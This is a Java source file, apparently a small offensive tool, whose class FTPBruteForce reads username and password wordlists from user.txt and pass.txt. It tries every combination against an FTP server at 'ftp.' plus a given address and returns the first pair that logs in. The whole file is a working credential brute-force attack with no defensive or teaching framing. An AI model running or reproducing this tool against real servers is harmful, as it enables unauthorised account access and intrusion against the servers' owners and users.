import java.io.IOException;
import org.apache.commons.net.ftp.*;
import java.io.*;

public class FTPBruteForce
{

    public FTPBruteForce()
    {
    }

    public credenciales crackFTP(String ip)
    {
        String j;
        String k;
        ip = "ftp." + ip;
        credenciales acertado = new credenciales();
        credenciales fallado = new credenciales();
        try{
            File us = new File("user.txt");
            FileReader usr=new FileReader(us);
            BufferedReader busr = new BufferedReader(usr);
            while((j = busr.readLine()) != null){
                File ps = new File("pass.txt");
                FileReader psr=new FileReader(ps);
                BufferedReader bpsr = new BufferedReader(psr);
                while((k = bpsr.readLine()) != null){
                    if (conectarFTP(j, k, ip)){
                        acertado.modificarUser(j);
                        acertado.modificarPass(k);
                        return acertado;
                    }
                }
            }
            fallado.modificarUser(null);
            fallado.modificarPass(null);
            return fallado;
        }
        catch(IOException e){
            System.out.println("Falta user.txt o pass.txt");
            fallado.modificarUser(null);
            fallado.modificarPass(null);
            return fallado;
        }
    }

    public boolean conectarFTP(String user, String Pass, String ip){
        FTPClient client = new FTPClient();
        try{
            client.connect(ip);
            boolean login = client.login(user,Pass);
            client.logout();
            return login;
        }
        catch(IOException e){
        }
        return false;
    }
}